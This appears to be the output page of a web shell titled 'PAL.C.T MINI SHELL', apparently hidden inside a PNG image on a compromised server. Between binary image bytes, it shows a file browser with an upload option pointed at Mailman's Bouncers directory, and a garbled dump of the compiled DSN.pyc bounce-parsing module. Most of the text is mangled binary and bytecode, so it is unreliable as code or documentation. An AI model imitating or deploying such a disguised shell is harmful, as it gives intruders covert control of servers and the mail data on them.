php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/Bouncers/
upload
files >> //usr/lib/mailman/Mailman/Bouncers/DSN.pyc

Pc	@sdZddklZddklZddklZddklZye	e
fWnej
odZ	dZ
nXdZd	Z
d
S(sParse RFC 3464 (i.e. DSN) bounce formats.

RFC 3464 obsoletes 1894 which was the old DSN standard.  This module has not
been audited for differences between the two.
i(ttyped_subpart_iterator(t	parseaddr(tStringIO(tStopiic
Csg}xUt|ddD]A}|ipqnx$|iD]}|iddi}|idotS|idpq@ng}t}xdD]}xJ|ig|D]6\}}	|id	jo
t	}q|i
|qW|o|i|PqxF|D]>}
|
id
o(|
ido|i
|
dd
!qqWqWq@WqWh}x;|D]3}|dj	o t|\}
}t	||<qkqkW|iS(Ntmessagesdelivery-statustactionttdelayedtfailsoriginal-recipientsfinal-recipienttrfc822t<t>ii(soriginal-recipientsfinal-recipient(Rtis_multiparttget_payloadtgettlowert
startswithRtFalset
get_paramstTruetappendtextendtendswithtNoneRtkeys(tmsgtaddrstparttmsgblockRtparamstfoundptheadertktvtparamtrtnaddrstatrealname((s]/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Bouncers/DSN.pytcheck&sF



 (
cCs|ioKt|idjo2|ididjot|idS|io'|idjo|id}n|io'|idjo|id}n|ip|idjodSt|S(Niismessage/delivery-statustmixedismessage/rfc822treport(RtlenR
tget_content_typeR&tget_content_subtypeR(R((s]/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Bouncers/DSN.pytprocess[s&  !N(t__doc__temail.IteratorsRtemail.UtilsRt	cStringIORtMailman.Bouncers.BouncerAPIRRRt	NameErrorR&R,(((s]/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Bouncers/DSN.pyt<module>s	5
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`